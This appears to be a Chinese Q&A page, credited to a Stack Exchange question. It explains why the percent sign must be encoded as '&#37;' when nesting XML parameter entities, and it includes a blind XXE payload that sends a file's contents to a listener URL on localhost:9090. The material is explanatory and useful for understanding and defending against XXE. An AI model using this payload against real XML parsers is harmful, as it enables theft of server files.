You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

XML DTD中%的含义是什么?为何直接使用%不生效?

XXE参数实体嵌套时百分号需编码的原因

这一差异本质是XML DTD对参数实体的解析时机规则导致的,核心是延迟内层参数实体的解析时机:

核心规则

XML解析器处理DTD实体定义时,有两个优先级明确的解析阶段:

  1. 实体定义阶段:扫描所有实体声明的字面量内容,遇到直接书写的%会立刻尝试将其作为当前上下文的参数实体引用进行解析,找不到对应实体就会报错或丢弃无效内容。
  2. 实体展开阶段:当已定义的参数实体被主动引用时,才会解析实体内容中的字符实体引用(如%)为对应的真实字符,再对展开后的内容做二次解析。

两种写法的解析差异

可生效的编码写法

<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
  • 定义%print的阶段,内容里没有直接出现%,解析器不会触发参数实体查找逻辑,&#37;作为普通字符引用被保留。
  • 当你引用%print;时,进入实体展开阶段,&#37;被解析为%,展开后的内容变成完整的参数实体声明:<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>
  • 解析器识别到新的%send实体定义,后续引用%send;时就会正常发起HTTP请求。

不生效的直写写法

<!ENTITY % print "<!ENTITY % send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
  • 定义%print的阶段,解析器扫描到内容中直接出现的%send,立刻将其识别为参数实体引用,尝试查找当前已定义的%send实体。
  • 此时%send还未被定义(它本身就是要靠%print展开后才会生成的定义),解析器要么抛出未定义实体的错误,要么直接丢弃这段无效内容,导致%print的定义本身就不完整。
  • 后续即使引用%print;也无法生成有效的%send实体声明,自然不会发起请求。

这也是XXE盲注场景下构造嵌套参数实体的标准写法,本质是通过字符编码错开两层参数实体的解析时机,避免内层实体被提前解析报错。


内容的提问来源于stack exchange,提问作者Camille Ferrous

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.29 16:15:04